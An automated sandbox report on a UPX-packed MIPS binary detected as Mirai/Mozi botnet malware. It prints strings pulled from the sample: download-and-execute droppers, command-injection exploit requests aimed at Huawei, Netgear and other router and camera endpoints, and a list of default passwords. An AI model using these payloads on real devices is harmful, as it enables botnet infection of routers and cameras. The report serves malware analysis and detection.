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Linux Analysis Report
i.elf

Overview

General Information

Sample name:i.elf
Analysis ID:1644123
MD5:36a7bef4069317ffc7162caa5e03fe19
SHA1:ba9cfe2e8873bc162ab0feb54f873ac1680d1b1d
SHA256:91140de1523b4854e8cfe7a07e5a1f6dc64a5196af22efaaa36805ca9bd8ac21
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:100
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings indicative of password brute-forcing capabilities
Sample contains strings that are potentially command strings
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1644123
Start date and time:2025-03-20 11:43:23 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 32s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:i.elf
Detection:MAL
Classification:mal100.troj.evad.linELF@0/0@0/0
Command:/tmp/i.elf
PID:6234
Exit Code:133
Exit Code Info:
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
  • system is lnxubuntu20
  • i.elf (PID: 6234, Parent: 6147, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/i.elf
  • dash New Fork (PID: 6261, Parent: 4331)
  • rm (PID: 6261, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbb
  • dash New Fork (PID: 6262, Parent: 4331)
  • cat (PID: 6262, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.5NTQV6UWTk
  • dash New Fork (PID: 6263, Parent: 4331)
  • head (PID: 6263, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6264, Parent: 4331)
  • tr (PID: 6264, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6265, Parent: 4331)
  • cut (PID: 6265, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6268, Parent: 4331)
  • cat (PID: 6268, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.5NTQV6UWTk
  • dash New Fork (PID: 6269, Parent: 4331)
  • head (PID: 6269, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6270, Parent: 4331)
  • tr (PID: 6270, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6271, Parent: 4331)
  • cut (PID: 6271, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6272, Parent: 4331)
  • rm (PID: 6272, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbb
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
i.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    i.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
      i.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        i.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          i.elfLinux_Packer_Patched_UPX_62e11c64unknownunknown
          • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
          Click to see the 3 entries
          SourceRuleDescriptionAuthorStrings
          6234.1.00007fd3a8400000.00007fd3a8422000.r-x.sdmpLinux_Packer_Patched_UPX_62e11c64unknownunknown
          • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
          No Suricata rule has matched

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Source: i.elfAvira: detected
          Source: i.elfVirustotal: Detection: 68%Perma Link
          Source: i.elfReversingLabs: Detection: 55%
          Source: unknownHTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33608 version: TLS 1.2
          Source: i.elfString: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
          Source: i.elfString: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
          Source: i.elfString: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
          Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
          Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.a;chmod
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.a;sh$
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.m
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.m;
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.m;$
          Source: i.elfString found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
          Source: i.elfString found in binary or memory: http://%s:%d/bin.sh
          Source: i.elfString found in binary or memory: http://%s:%d/bin.sh;chmod
          Source: i.elfString found in binary or memory: http://HTTP/1.1
          Source: i.elfString found in binary or memory: http://purenetworks.com/HNAP1/
          Source: i.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
          Source: i.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
          Source: i.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
          Source: i.elfString found in binary or memory: http://upx.sf.net
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 33608
          Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 33608 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
          Source: unknownHTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33608 version: TLS 1.2

          System Summary

          barindex
          Source: i.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_77137320 Author: unknown
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
          Source: 6234.1.00007fd3a8400000.00007fd3a8422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
          Source: LOAD without section mappingsProgram segment: 0x400000
          Source: Initial sampleString containing 'busybox' found: /bin/busybox cat /bin/ls|head -n 1
          Source: Initial sampleString containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
          Source: Initial sampleString containing 'busybox' found: /bin/busybox cat /bin/ls|more
          Source: Initial sampleString containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls|head -n 1
          Source: Initial sampleString containing 'busybox' found: dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox
          Source: Initial sampleString containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls || /bin/busybox cat /bin/ls || while read i; do printf $i; done < /bin/ls || while read i; do printf $i; done < /bin/busybox
          Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
          Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
          Source: Initial sampleString containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
          Source: Initial sampleString containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh ||curl -O http://%s:%d/bin.sh ||/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh ||(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
          Source: Initial sampleString containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i || (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
          Source: Initial sampleString containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i ||curl -O http://%s:%d/i ||/bin/busybox wget http://%s:%d/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
          Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
          Source: Initial sampleString containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
          Source: Initial sampleString containing potential weak password found: admin
          Source: Initial sampleString containing potential weak password found: default
          Source: Initial sampleString containing potential weak password found: support
          Source: Initial sampleString containing potential weak password found: service
          Source: Initial sampleString containing potential weak password found: supervisor
          Source: Initial sampleString containing potential weak password found: guest
          Source: Initial sampleString containing potential weak password found: administrator
          Source: Initial sampleString containing potential weak password found: 123456
          Source: Initial sampleString containing potential weak password found: 54321
          Source: Initial sampleString containing potential weak password found: password
          Source: Initial sampleString containing potential weak password found: 12345
          Source: Initial sampleString containing potential weak password found: admin1234
          Source: Initial samplePotential command found: GET /c
          Source: Initial samplePotential command found: GET /Mozi.6 HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.7 HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.c HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.m HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.x HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.a HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.s HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.r HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.b HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.4 HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.k HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.l HTTP/1.0
          Source: Initial samplePotential command found: GET /Mozi.p HTTP/1.0
          Source: Initial samplePotential command found: GET /%s HTTP/1.1
          Source: Initial samplePotential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
          Source: Initial samplePotential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
          Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
          Source: Initial samplePotential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
          Source: Initial samplePotential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
          Source: i.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
          Source: i.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
          Source: 6234.1.00007fd3a8400000.00007fd3a8422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
          Source: classification engineClassification label: mal100.troj.evad.linELF@0/0@0/0

          Data Obfuscation

          barindex
          Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
          Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
          Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
          Source: /usr/bin/dash (PID: 6261)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbbJump to behavior
          Source: /usr/bin/dash (PID: 6272)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.5NTQV6UWTk /tmp/tmp.IYesPqY9xX /tmp/tmp.tQyWRZkgbbJump to behavior
          Source: i.elfSubmission file: segment LOAD with 7.8156 entropy (max. 8.0)
          Source: /tmp/i.elf (PID: 6234)Queries kernel information via 'uname': Jump to behavior
          Source: i.elf, 6234.1.00007ffeb18b6000.00007ffeb18d7000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/i.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/i.elf
          Source: i.elf, 6234.1.0000562e04172000.0000562e041f9000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
          Source: i.elf, 6234.1.0000562e04172000.0000562e041f9000.rw-.sdmpBinary or memory string: .V!/etc/qemu-binfmt/mips
          Source: i.elf, 6234.1.00007ffeb18b6000.00007ffeb18d7000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
          Source: i.elf, 6234.1.00007ffeb18b6000.00007ffeb18d7000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

          Stealing of Sensitive Information

          barindex
          Source: Yara matchFile source: i.elf, type: SAMPLE

          Remote Access Functionality

          barindex
          Source: Yara matchFile source: i.elf, type: SAMPLE
          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information1
          Scripting
          Valid Accounts1
          Command and Scripting Interpreter
          1
          Scripting
          Path Interception11
          Obfuscated Files or Information
          1
          Brute Force
          11
          Security Software Discovery
          Remote ServicesData from Local System1
          Encrypted Channel
          Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
          File Deletion
          LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
          Application Layer Protocol
          Exfiltration Over BluetoothNetwork Denial of Service
          No configs have been found
          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Number of created Files
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1644123 Sample: i.elf Startdate: 20/03/2025 Architecture: LINUX Score: 100 14 109.202.202.202, 80 INIT7CH Switzerland 2->14 16 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->16 18 2 other IPs or domains 2->18 20 Malicious sample detected (through community Yara rule) 2->20 22 Antivirus / Scanner detection for submitted sample 2->22 24 Multi AV Scanner detection for submitted file 2->24 26 2 other signatures 2->26 6 dash rm 2->6         started        8 dash head 2->8         started        10 dash tr 2->10         started        12 8 other processes 2->12 signatures3 process4
          SourceDetectionScannerLabelLink
          i.elf69%VirustotalBrowse
          i.elf56%ReversingLabsLinux.Trojan.Dakkatoni
          i.elf100%AviraEXP/ELF.Agent.L.26
          No Antivirus matches
          No Antivirus matches
          No Antivirus matches

          Download Network PCAP: filteredfull

          No contacted domains info
          NameSourceMaliciousAntivirus DetectionReputation
          http://%s:%d/bin.sh;chmodi.elffalse
            high
            http://%s:%d/Mozi.a;chmodi.elffalse
              high
              http://%s:%d/Mozi.m;/tmp/Mozi.mi.elffalse
                high
                http://schemas.xmlsoap.org/soap/encoding/i.elffalse
                  high
                  http://%s:%d/bin.shi.elffalse
                    high
                    http://purenetworks.com/HNAP1/i.elffalse
                      high
                      http://%s:%d/Mozi.m;i.elffalse
                        high
                        http://%s:%d/Mozi.m;$i.elffalse
                          high
                          http://schemas.xmlsoap.org/soap/envelope/i.elffalse
                            high
                            http://upx.sf.neti.elffalse
                              high
                              http://HTTP/1.1i.elffalse
                                high
                                http://%s:%d/Mozi.a;sh$i.elffalse
                                  high
                                  http://schemas.xmlsoap.org/soap/envelope//i.elffalse
                                    high
                                    http://%s:%d/Mozi.mi.elffalse
                                      high
                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs
                                      IPDomainCountryFlagASNASN NameMalicious
                                      54.171.230.55
                                      unknownUnited States
                                      16509AMAZON-02USfalse
                                      109.202.202.202
                                      unknownSwitzerland
                                      13030INIT7CHfalse
                                      91.189.91.43
                                      unknownUnited Kingdom
                                      41231CANONICAL-ASGBfalse
                                      91.189.91.42
                                      unknownUnited Kingdom
                                      41231CANONICAL-ASGBfalse
                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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                                                          • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
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                                                                                                  • 91.189.91.42
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                                                                                                  • 91.189.91.42
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                                                                                                  • 109.202.202.202
                                                                                                  No context
                                                                                                  No context
                                                                                                  No created / dropped files found
                                                                                                  File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
                                                                                                  Entropy (8bit):5.3541380992465175
                                                                                                  TrID:
                                                                                                  • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                                                                                  • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                                                                                  File name:i.elf
                                                                                                  File size:307'960 bytes
                                                                                                  MD5:36a7bef4069317ffc7162caa5e03fe19
                                                                                                  SHA1:ba9cfe2e8873bc162ab0feb54f873ac1680d1b1d
                                                                                                  SHA256:91140de1523b4854e8cfe7a07e5a1f6dc64a5196af22efaaa36805ca9bd8ac21
                                                                                                  SHA512:7bf10c276eec6f9939993204e4e2c5827449ed1815fe806ef462bfdf2c1e646ca1b9ab7ac9fb616ce366ec89aaeb240d5954d3bdc0f84597ff60c1e1fb675a15
                                                                                                  SSDEEP:3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xiooa5POdOQ33Q:p3lOYoaja8xzx/0wsxzSicPqOJ
                                                                                                  TLSH:4764F1CBEF11BC3AD940077125AB0B5DB778DA9A82C7E080F2D4C55E3CAA2C5BB911D5
                                                                                                  File Content Preview:.ELF.....................B.....4.........4. ...(.............@...@...........................C...C......../..........*.*UPX!.X.....................^....|.$..ELF..........@.`....4...0... ...(......<...@......[v......H...`.t..;_...dt.Q.....].M..............

                                                                                                  ELF header

                                                                                                  Class:ELF32
                                                                                                  Data:2's complement, big endian
                                                                                                  Version:1 (current)
                                                                                                  Machine:MIPS R3000
                                                                                                  Version Number:0x1
                                                                                                  Type:EXEC (Executable file)
                                                                                                  OS/ABI:UNIX - System V
                                                                                                  ABI Version:0
                                                                                                  Entry Point Address:0x4206a8
                                                                                                  Flags:0x1007
                                                                                                  ELF Header Size:52
                                                                                                  Program Header Offset:52
                                                                                                  Program Header Size:32
                                                                                                  Number of Program Headers:2
                                                                                                  Section Header Offset:0
                                                                                                  Section Header Size:40
                                                                                                  Number of Section Headers:0
                                                                                                  Header String Table Index:0
                                                                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                                                  LOAD0x00x4000000x4000000x210f20x210f27.81560x5R E0x10000
                                                                                                  LOAD0x00x4300000x4300000x00x92fd80.00000x6RW 0x10000

                                                                                                  Download Network PCAP: filteredfull

                                                                                                  • Total Packets: 21
                                                                                                  • 443 (HTTPS)
                                                                                                  • 80 (HTTP)
                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                  Mar 20, 2025 11:44:07.350934982 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600017071 CET4433360854.171.230.55192.168.2.23
                                                                                                  Mar 20, 2025 11:44:09.600073099 CET4433360854.171.230.55192.168.2.23
